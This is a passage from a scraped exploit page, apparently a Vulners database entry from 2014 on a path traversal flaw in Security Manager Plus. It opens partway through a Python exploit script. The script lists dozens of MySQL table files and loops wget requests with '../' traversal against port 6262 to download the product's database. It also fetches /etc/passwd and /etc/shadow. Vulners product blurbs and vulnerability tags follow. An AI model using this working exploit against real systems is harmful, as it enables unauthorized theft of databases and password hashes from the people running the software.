&#39;UVHValues.frm&#39;, &#39;PatchGroupToAddressGroupMap.frm&#39;, &#39;TCsAfterPatchDetection.frm&#39;, &#39;Boolean_Reg_Expr.frm&#39;, &#39;Task_Instances.frm&#39;, &#39;DeviceProtocol.frm&#39;, &#39;AaaUserProfile.frm&#39;, &#39;ScanCompNotification.frm&#39;, &#39;Bool_Const_Comp_Str.frm&#39;, &#39;ServiceProperties.frm&#39;, &#39;TreeDefinition.frm&#39;, &#39;Bool_Set_Comp_Var.frm&#39;, &#39;Int_Expr_Opr_Expr.frm&#39;, &#39;TiledView.frm&#39;, &#39;Quantifier.frm&#39;, &#39;ResourceCompNotification.frm&#39;, &#39;TemplateViewParams.frm&#39;, &#39;ScanPMTaskMapper.frm&#39;, &#39;AaaRoleToCategory.frm&#39;, &#39;MsSQLErrorCode.frm&#39;, &#39;WMITestCaseCommands.frm&#39;, &#39;FalsePositiveVulns.frm&#39;, &#39;MSQNumber.frm&#39;, &#39;DiscoveryToResourceMapping.frm&#39;, &#39;AaaAccountStatus.frm&#39;, &#39;Time_Agg_Vars.frm&#39;, &#39;ACCVTabParentConfig.frm&#39;, &#39;AaaPasswordProfile.frm&#39;, &#39;ReportCategoryFilter.frm&#39;, &#39;Quantifier_Range.frm&#39;, &#39;AaaUserPostalAddr.frm&#39;, &#39;CustomHandler.frm&#39;, &#39;FileBaseline.frm&#39;, &#39;AuditConfig.frm&#39;, &#39;ResourceVulnerabilityDetails.frm&#39;, &#39;AaaAccAdminProfile.frm&#39;, &#39;PMSPLocation.frm&#39;, &#39;Trans_Closure_Operator.frm&#39;, &#39;ResourceTicNotification.frm&#39;, &#39;Bool_Str_Comp_Const.frm&#39;, &#39;Bool_Expr_With_Terms.frm&#39;, &#39;Java_Api.frm&#39;, &#39;SortColumn.frm&#39;, &#39;AaaTrustedRole.frm&#39;, &#39;C_Task_Apis.frm&#39;, &#39;PatchToGroup.frm&#39;, &#39;ScanStatus.frm&#39;, &#39;Calendar_Periodicity.frm&#39;, &#39;PhysicalDriveInfo.frm&#39;, &#39;AaaAccUserProfile.frm&#39;, &#39;ACGroupByColumns.frm&#39;, &#39;SoundCardInfo.frm&#39;, &#39;AuditConfigProperty.frm&#39;, &#39;ReportSeverityFilter.frm&#39;, &#39;ScanJobResources.frm&#39;, &#39;Str_Expr_Opr_Const.frm&#39;, &#39;Views.frm&#39;, &#39;ACUserPreference.frm&#39;, &#39;Trans_Closure_Weight_Expr.frm&#39;, &#39;PackageList.frm&#39;, &#39;I18nCurrUserLocale.frm&#39;, &#39;AaaPasswordStatus.frm&#39;, &#39;UpdateDeleteRows.frm&#39;, &#39;Calendar.frm&#39;, &#39;AaaSimplePermission.frm&#39;, &#39;CrackedSNMPCommunity.frm&#39;, &#39;DataObj_Var_Columns.frm&#39;, &#39;MSSeverity.frm&#39;, &#39;ACRendererConfiguration.frm&#39;, &#39;ACTableColumns.frm&#39;, &#39;PortInfo.frm&#39;, &#39;ExeReportConf.frm&#39;, &#39;Class_Expr_Opr_Expr.frm&#39;, &#39;Concat_Task_List.frm&#39;, &#39;AaaImpliedRole.frm&#39;, &#39;Expressions_PIDX.frm&#39;, &#39;RiskFactor.frm&#39;, &#39;ResourceCred.frm&#39;, &#39;TestCaseHTTPDir.frm&#39;, &#39;CustomViewConfiguration.frm&#39;, &#39;CredentialDescription.frm&#39;, &#39;RemoteTCExpression.frm&#39;, &#39;RepairReport.frm&#39;, &#39;Bool_Expr_Comp_Expr.frm&#39;, &#39;PatchTaskInput.frm&#39;, &#39;MSSupercededPatch.frm&#39;, &#39;ACClientEncProps.frm&#39;, &#39;I18nLocale.frm&#39;, &#39;ConfFileToModule.frm&#39;, &#39;Decimal_Expressions.frm&#39;, &#39;Print_Task_Expr.frm&#39;, &#39;Workflow_Unit.frm&#39;, &#39;ResourceApplication.frm&#39;, &#39;Email_Task.frm&#39;, &#39;VulnerabilityScan.frm&#39;, &#39;ACGridLayoutConfig.frm&#39;, &#39;AaaPassword.frm&#39;, &#39;AaaRoleOwner.frm&#39;, &#39;ACPSConfigList.frm&#39;, &#39;Del_Row_Task_Template.frm&#39;, &#39;AaaUser.frm&#39;, &#39;RebootPolicy.frm&#39;, &#39;TreeQueryIdentifierColumns.frm&#39;, &#39;WindowsServices.frm&#39;, &#39;ACFilter.frm&#39;, &#39;PatchStoreAuditInfo.frm&#39;, &#39;SB_Applications.frm&#39;, &#39;OperationType.frm&#39;, &#39;LatestResourceScanStatus.frm&#39;, &#39;MSPMFileChange.frm&#39;, &#39;LatestAGScans.frm&#39;, &#39;RegistryBaseline.frm&#39;, &#39;BookMark.frm&#39;, &#39;TmpViewColumn.frm&#39;, &#39;Char_Class_Expr.frm&#39;, &#39;WorkFlow_Type.frm&#39;, &#39;ScanVulnerabilityDetails.frm&#39;, &#39;ScanHosts.frm&#39;]

for blah in dbFiles:
	print &#34;[*] Downloading file: &#34; + blah
	os.system(&#34;wget -q http://%s:6262/store?f=../mysql/data/securitymanager/%s -O %s&#34; % (rhost, blah, blah))

os.system(&#34;wget http://%s:6262/store?f=../../../../../etc/passwd -O passwd&#34; % rhost)
os.system(&#34;wget http://%s:6262/store?f=../../../../../etc/shadow -O shadow&#34; % rhost)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
security manager pluspath traversalwindowslinuxdatabaseunauthorized accessvulnerability
15